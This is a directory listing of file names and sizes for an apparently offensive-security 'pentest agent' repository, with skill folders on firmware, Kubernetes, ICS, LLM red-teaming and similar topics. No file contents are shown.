    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/guides/firmware-vuln-backdoor.mdmarkdown · 13.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/payloads.mdmarkdown · 35.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/test-cases.mdmarkdown · 15.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/SKILL.mdmarkdown · 17.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/guides/game-anticheat-bypass-playbook.mdmarkdown · 21.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/payloads.mdmarkdown · 70.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/game-anticheat-bypass/test-cases.mdmarkdown · 20.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/SKILL.mdmarkdown · 24.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/evidence/2026-08-17/summary.mdmarkdown · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/guides/gitops-security-playbook.mdmarkdown · 12.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/guides/real-world-incident-case-studies.mdmarkdown · 24.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/payloads.mdmarkdown · 48.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/gitops-security/test-cases.mdmarkdown · 26.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/SKILL.mdmarkdown · 12.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/guides/embedded-firmware-analysis.mdmarkdown · 15.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/guides/firmware-extraction-analysis-guide.mdmarkdown · 8.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/guides/hardware-exploitation-patterns-guide.mdmarkdown · 10.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/guides/jtag-swd-debugging-guide.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/guides/side-channel-attack-guide.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/payloads.mdmarkdown · 28.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-security/test-cases.mdmarkdown · 35.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/SKILL.mdmarkdown · 7.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/evidence/2026-09-05/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/evidence/2026-09-05/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/payloads.mdmarkdown · 14.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hardware-side-channel-advanced/test-cases.mdmarkdown · 4.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/SKILL.mdmarkdown · 41.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/evidence/2026-08-09/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/evidence/2026-08-09/summary.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/guides/hf-vhf-radio-attack-deep-dive.mdmarkdown · 66.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/guides/hf-vhf-radio-attack-playbook.mdmarkdown · 53.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/guides/usage-and-assessment-zh.mdmarkdown · 5.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/payloads.mdmarkdown · 111.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hf-vhf-radio-attack/test-cases.mdmarkdown · 16.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/SKILL.mdmarkdown · 22.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/guides/hsm-attack-playbook.mdmarkdown · 13.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/guides/real-world-incident-case-studies.mdmarkdown · 20.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/payloads.mdmarkdown · 26.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hsm-attack/test-cases.mdmarkdown · 19.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/SKILL.mdmarkdown · 47.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/evidence/2026-08-17/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/guides/hypervisor-introspection-playbook.mdmarkdown · 44.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/payloads.mdmarkdown · 73.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/hypervisor-introspection/test-cases.mdmarkdown · 24.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/SKILL.mdmarkdown · 35.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/evidence/2026-08-09/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/evidence/2026-08-09/summary.mdmarkdown · 3.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/evidence/2026-08-10/fake-plc.pycode · 1.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/evidence/2026-08-10/grficsv3-reproduction-recipe.mdmarkdown · 4.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/ics-fieldbus-attack-playbook.mdmarkdown · 43.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/practical-validation-2026-08-10-zh.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/practical-validation-2026-08-10.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/practical-validation-grficsv3-2026-08-10-zh.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/practical-validation-grficsv3-2026-08-10.mdmarkdown · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/quick-reference-card.mdmarkdown · 19.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/real-world-incident-case-studies.mdmarkdown · 51.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/usage-and-assessment-zh.mdmarkdown · 8.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/guides/validation-walkthrough-zh.mdmarkdown · 16.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/payloads.mdmarkdown · 91.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ics-fieldbus-attack/test-cases.mdmarkdown · 15.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/SKILL.mdmarkdown · 11.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/evidence/2026-09-07/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/payloads.mdmarkdown · 3.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/identity-provider-attack/test-cases.mdmarkdown · 4.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/SKILL.mdmarkdown · 16.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/abuse-case-development-guide.mdmarkdown · 6.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/business-logic-attack-patterns-guide.mdmarkdown · 7.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/insecure_design_complete_guide.mdmarkdown · 14.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/race-condition-exploitation-guide.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/secure-design-patterns-guide.mdmarkdown · 7.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/state-machine-abuse-guide.mdmarkdown · 10.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/threat-modeling-for-design-flaws-guide.mdmarkdown · 7.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/payloads.mdmarkdown · 27.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/insecure-design/test-cases.mdmarkdown · 11.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/SKILL.mdmarkdown · 45.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/guides/iot-pentest-playbook.mdmarkdown · 26.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/guides/radio-and-firmware-iot-testing-playbook.mdmarkdown · 34.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/payloads.mdmarkdown · 43.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/iot-pentest/test-cases.mdmarkdown · 22.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/SKILL.mdmarkdown · 7.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/guides/cross-session-intelligence-aggregation.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/guides/entity-extraction-and-tagging.mdmarkdown · 7.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/guides/information-retrieval-optimization-guide.mdmarkdown · 10.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/guides/knowledge-graph-construction-guide.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/guides/knowledge-graph-visualization-and-querying.mdmarkdown · 10.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/payloads.mdmarkdown · 36.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/knowledge-ops/test-cases.mdmarkdown · 16.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/SKILL.mdmarkdown · 39.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/k8s-escape-and-lateral-movement-playbook.mdmarkdown · 35.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/kubernetes-attack-detection-evasion-deep.mdmarkdown · 16.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/kubernetes-attack-playbook.mdmarkdown · 28.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/kubernetes-attack-rbac-privilege-escalation-deep.mdmarkdown · 16.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/kubernetes-attack-real-world-incident-case-studies.mdmarkdown · 21.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/kubernetes-attack-runtime-escape.mdmarkdown · 69.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/kubernetes-attack-supply-chain-deep.mdmarkdown · 15.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/payloads.mdmarkdown · 39.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/kubernetes-attack/test-cases.mdmarkdown · 21.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/SKILL.mdmarkdown · 39.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/guides/llm-jailbreak-arsenal-playbook.mdmarkdown · 37.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/guides/llm-red-team-playbook.mdmarkdown · 40.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/payloads.mdmarkdown · 50.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/llm-red-team/test-cases.mdmarkdown · 20.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/SKILL.mdmarkdown · 12.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/guides/alert-fatigue-reduction-guide.mdmarkdown · 11.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/guides/forensic-logging-requirements-guide.mdmarkdown · 13.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/guides/log-tampering-detection-guide.mdmarkdown · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/guides/logging_monitoring_complete_guide.mdmarkdown · 12.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/guides/siem-log-analysis-guide.mdmarkdown · 6.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/payloads.mdmarkdown · 29.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/logging-monitoring/test-cases.mdmarkdown · 16.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/SKILL.mdmarkdown · 64.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/guides/macos-security-deep-dive.mdmarkdown · 68.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/guides/macos-security-playbook.mdmarkdown · 36.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/payloads.mdmarkdown · 75.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/macos-security/test-cases.mdmarkdown · 63.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/SKILL.mdmarkdown · 19.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/guides/lab-driven-walkthrough.mdmarkdown · 13.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/guides/mainframe-security-playbook.mdmarkdown · 18.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/guides/quick-reference-card.mdmarkdown · 23.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/guides/real-world-incident-case-studies.mdmarkdown · 42.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/payloads.mdmarkdown · 39.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mainframe-security/test-cases.mdmarkdown · 21.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/SKILL.mdmarkdown · 18.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/guides/malware-analysis-advanced-playbook.mdmarkdown · 11.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/guides/real-world-incident-case-studies.mdmarkdown · 19.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/payloads.mdmarkdown · 24.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/malware-analysis-advanced/test-cases.mdmarkdown · 22.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/SKILL.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/mcp-server-patterns/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

